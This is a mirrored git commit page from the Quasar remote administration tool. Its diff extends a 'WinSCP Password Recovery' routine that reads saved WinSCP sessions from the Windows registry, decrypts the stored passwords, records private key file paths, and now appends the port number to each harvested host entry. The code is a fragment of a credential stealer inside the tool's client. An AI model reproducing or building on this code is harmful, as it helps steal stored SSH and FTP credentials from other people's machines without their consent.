mirror of https://github.com/quasar/Quasar.git
Improve WinSCP Password Recovery
Add get port number (if needed, default SSH port is 22)
This commit is contained in:
parent
7d36fb46eb
commit
7513d1d563
|
@ -26,6 +26,10 @@ namespace xClient.Core.Recovery.FtpClients
|
|||
string Password = WinSCPDecrypt(User, Registry.GetValue(key.OpenSubKey(subkeyName).ToString(), "Password", "").ToString(), Host);
|
||||
if ((Password == string.Empty) && ((Registry.GetValue(key.OpenSubKey(subkeyName).ToString(), "PublicKeyFile", null) != null)))
|
||||
Password = "[PRIVATE KEY AT " + Uri.UnescapeDataString(Registry.GetValue(key.OpenSubKey(subkeyName).ToString(), "PublicKeyFile", null).ToString()) + "]";
|
||||
if (Registry.GetValue(key.OpenSubKey(subkeyName).ToString(), "PortNumber", null) != null)
|
||||
{
|
||||
Host = Host + ":" + Registry.GetValue(key.OpenSubKey(subkeyName).ToString(), "PortNumber", null);
|
||||
}
|
||||
data.Add(new RecoveredAccount
|
||||
{
|
||||
URL = Host,
|
||||
|
|
Loading…
Reference in New Issue